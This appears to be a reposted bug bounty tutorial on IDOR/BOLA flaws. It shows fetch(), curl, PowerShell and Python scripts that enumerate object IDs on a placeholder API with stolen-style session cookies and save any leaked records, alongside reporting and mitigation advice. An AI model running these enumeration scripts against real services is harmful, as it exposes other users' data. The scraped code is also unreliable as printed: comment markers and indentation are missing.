Listen to this Post
Introduction:
Insecure Direct Object References (IDOR) and Broken Object Level Authorization (BOLA) remain among the most common yet overlooked vulnerabilities in modern web APIs. As the post highlights, a bug hunter discovered a critical authorization flaw by simply opening the browser console (F12) and sending a crafted fetch() request—without even launching Burp Suite—resulting in a €250 bounty even for an out-of-scope asset. This article explores how manual testing with native browser tools can uncover hidden API leaks, provides step-by-step guides for replicating such tests, and offers mitigation strategies for developers and security professionals.
Learning Objectives:
- Understand how IDOR/BOLA vulnerabilities bypass authorization logic and leak sensitive data
- Learn to use browser developer tools and console-based fetch() requests for rapid API security testing
- Master manual exploitation techniques, including command-line alternatives (curl, PowerShell) and basic automation scripts
You Should Know:
1. Understanding IDOR/BOLA: The Silent Authorization Flaw
IDOR occurs when an application exposes a reference to an internal object (e.g., user ID, document number) and fails to verify that the requesting user is authorized to access that object. BOLA extends this concept to APIs, where endpoints like `/api/v1/users/{id}` allow horizontal privilege escalation. These flaws are dangerous because they often require no special tools—just a browser and logical thinking.
Step-by-step guide to recognizing IDOR potential:
- Interact with the web application normally, noting any numeric or predictable identifiers in URLs, JSON bodies, or query parameters.
- Log in with two different user accounts (e.g., user A and user B).
- From user A’s session, attempt to access resources belonging to user B by changing the identifier.
- If user A sees user B’s data, you’ve found an IDOR.
Example of a vulnerable endpoint:
`GET /api/invoice/1001` – if changing `1001` to `1002` returns another user’s invoice, authorization is broken.
2. Leveraging Browser Console for API Discovery
Modern web applications heavily rely on client-side JavaScript that communicates with APIs. The browser’s Network tab reveals every XHR/fetch request, including endpoints, parameters, cookies, and authentication tokens. Instead of setting up a proxy, you can immediately test these APIs using the console.
Step-by-step guide to capture and replay requests:
- Open Developer Tools (F12) → Network tab.
- Perform an action in the app (e.g., view profile, load a list).
- Right-click on any relevant API request → Copy → Copy as fetch.
- Switch to the Console tab, paste the copied fetch() code, and modify parameters.
Example: After copying a fetch request for your own profile (/api/user/123), change the ID to 124:
fetch("https://api.target.com/user/124", {
method: "GET",
credentials: "include", // sends cookies/session
headers: {
"Content-Type": "application/json"
}
})
.then(res => res.json())
.then(data => console.log(data));
If the server returns data for user 124 without checking authorization, you have confirmed an IDOR.
3. Crafting Manual Fetch Requests to Test IDOR
The console allows you to craft custom requests beyond what the UI offers. You can change HTTP methods, add parameters, or include custom headers—all without leaving the browser.
Step-by-step guide for manual parameter tampering:
- Identify a parameter that looks like an object reference (e.g.,
?doc_id=,{ "invoiceNo": }). - In the console, write a fetch() that sends a modified value.
- Test boundary values:
0,-1,null,999999, or increment/decrement by 1. - Also test by changing the HTTP method (e.g., `PUT` to `DELETE` on the same endpoint).
Example of a POST request with modified ID:
fetch("https://api.target.com/order/details", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ orderId: 9999 })
})
.then(res => res.json())
.then(data => console.log(data));
Always check the response status and body for sensitive data (e.g., PII, internal logs, other organizations’ data as in the post).
- Linux & Windows Commands for API Testing (curl and PowerShell)
While the browser console is convenient, command-line tools are essential for automation and scripting. Here are verified commands to test IDOR on both platforms.
Linux / macOS (curl):
Basic GET with cookies (copy from browser's Cookie header)
curl -X GET "https://api.target.com/user/124" \
-H "Cookie: session=eyJhbGciOiJIUzI1NiIs..." \
-H "Content-Type: application/json"
Test IDOR by iterating IDs
for id in {1000..1010}; do
curl -s -o /dev/null -w "%{http_code} %{url}\n" \
"https://api.target.com/invoice/$id" \
-H "Cookie: session=YOUR_SESSION"
done
Windows PowerShell:
Single request
Invoke-RestMethod -Uri "https://api.target.com/user/124" `
-Headers @{ "Cookie" = "session=YOUR_SESSION"; "Content-Type" = "application/json" }
Loop through IDs
1..10 | ForEach-Object {
$uri = "https://api.target.com/invoice/$_"
try {
$response = Invoke-WebRequest -Uri $uri -Headers $headers
Write-Host "ID $_ : $($response.StatusCode)"
if ($response.Content -match "sensitive") { Write-Host "Potential leak!" }
} catch { Write-Host "ID $_ : Failed" }
}
These commands help scale manual findings into semi-automated validation.
- Out-of-Scope Assets: When to Report and How to Justify Impact
The post mentions that the vulnerable asset was strictly out of scope, yet the security team accepted the report and paid 50% of the bounty. This happens when the bug demonstrates significant real-world impact despite scope limitations.
Step-by-step guide to handling out-of-scope findings:
- Document everything: screenshots of the request/response, proof of data leakage from another organization or user.
- Assess impact: Could this lead to account takeover, PII exposure, financial loss, or compliance violations?
- Write a clear report: state the asset is out-of-scope but explain why the risk justifies an exception (e.g., leaked production data, cross-tenant access).
- Respect responsible disclosure: do not download or further exploit the data; only prove existence.
- Submit through the program’s normal channel (e.g., YesWeHack, HackerOne) and add a note requesting a scope exception.
Example impact justification: “Although the endpoint `/api/v2/partners/data` is not listed in the scope, it returned live customer records from another organization (proof attached). This constitutes a GDPR breach and could be exploited by any authenticated user. I recommend accepting this as a high-severity finding.”
6. Mitigating IDOR/BOLA in Your Own Applications
Developers must implement server-side authorization checks for every object reference. Never rely on client-side obfuscation or hidden fields.
Step-by-step mitigation guide:
- Use indirect object references: map internal IDs to random, unpredictable tokens (e.g., UUIDs) exposed to the client.
- Implement a centralized access control layer that verifies the user’s permissions (e.g., role, ownership, group) before returning any object.
- For APIs, enforce strict input validation: reject out-of-range IDs or unexpected formats.
- Run automated BOLA scanners (e.g., OWASP ZAP, Burp BCheck) during CI/CD.
Example of secure server-side code (Node.js/Express):
app.get('/api/user/:id', async (req, res) => {
const userId = req.params.id;
const sessionUser = req.session.userId;
// Authorization check
if (userId !== sessionUser && !req.session.isAdmin) {
return res.status(403).json({ error: "Forbidden" });
}
const user = await User.findById(userId);
res.json(user);
});
For cloud hardening, use AWS IAM or Azure RBAC to enforce resource-level permissions, and enable API Gateway request validation.
7. Advanced Techniques: Automating IDOR Discovery with Scripts
For larger attack surfaces, write a simple Python script to test for IDOR across thousands of IDs. Combine with authentication tokens extracted from your browser.
Example script (Python with `requests` library):
import requests
session = requests.Session()
Set cookies from browser (export as Netscape format or copy manually)
session.cookies.set("session", "YOUR_SESSION_VALUE")
base_url = "https://api.target.com/user/"
for i in range(1, 100):
url = base_url + str(i)
resp = session.get(url)
if resp.status_code == 200 and "email" in resp.text:
print(f"Potential IDOR at {url} - {resp.text[:100]}")
Save proof
with open(f"idor_proof_{i}.json", "w") as f:
f.write(resp.text)
Run this from a Linux terminal after installing requests (pip install requests). Always stay within legal boundaries and program rules—never scan without permission.
What Undercode Say:
- Manual browser console testing is underrated: it often reveals IDORs that automated scanners miss, especially in complex single-page applications.
- Pragmatic bug bounty programs like YesWeHack recognize real-world impact even for out-of-scope assets, encouraging researchers to think beyond rigid scopes.
- Authorization flaws persist because developers focus on input validation but neglect context-aware permission checks at the object level.
- Combining browser tools with command-line curl/PowerShell allows testers to quickly pivot from discovery to exploitation and automation.
- The €250 bounty proves that even a “small” manual test can yield significant rewards when the impact is clearly communicated.
Prediction:
As APIs become the backbone of microservices and AI-driven applications, IDOR/BOLA vulnerabilities will remain a top-10 OWASP risk for years. The rise of serverless functions and GraphQL endpoints—where object references are deeply nested—will create new opportunities for authorization bypasses. However, AI-assisted code analysis and runtime authorization enforcement (e.g., Open Policy Agent) will gradually reduce manual findings. Bug hunters who master hybrid testing (browser console + lightweight scripting) will continue to outperform those relying solely on heavy tools, and platforms will increasingly offer “partial bounties” for out-of-scope but high-impact flaws, as seen in this post.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Arifwidiyanto Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
